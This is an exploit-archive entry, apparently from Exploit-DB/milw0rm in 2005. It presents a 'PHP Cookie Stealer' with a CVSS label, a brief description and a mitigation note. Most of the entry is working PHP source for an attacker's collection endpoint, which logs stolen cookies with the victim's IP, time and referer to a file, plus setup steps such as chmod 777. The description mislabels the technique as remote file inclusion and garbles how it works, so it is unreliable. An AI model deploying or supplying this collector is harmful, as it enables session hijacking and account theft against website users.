header-logo
Suggest Exploit
vendor:
N/A
by:
Sjaak Rake
7.5
CVSS
HIGH
Remote File Inclusion (RFI)
98
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2005

PHP Cookie Stealer

This exploit allows an attacker to steal cookies from a vulnerable website. The attacker can create a malicious file, such as cookies.php, and upload it to the vulnerable website. The attacker can then use the steal.php file to access the cookies.txt file and steal the cookies from the website.

Mitigation:

Ensure that all user-supplied input is validated and filtered before being used in any file operations. Also, ensure that all files are stored outside of the web root directory.
Source

Exploit-DB raw data:

// Original Author: 'Sjaak Rake' Ref: http://www.hackthissite.org/articles/read/175/

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

//rename it to cookies.php and create one new file steal.php and chmod it to 777

# milw0rm.com [2005-07-13]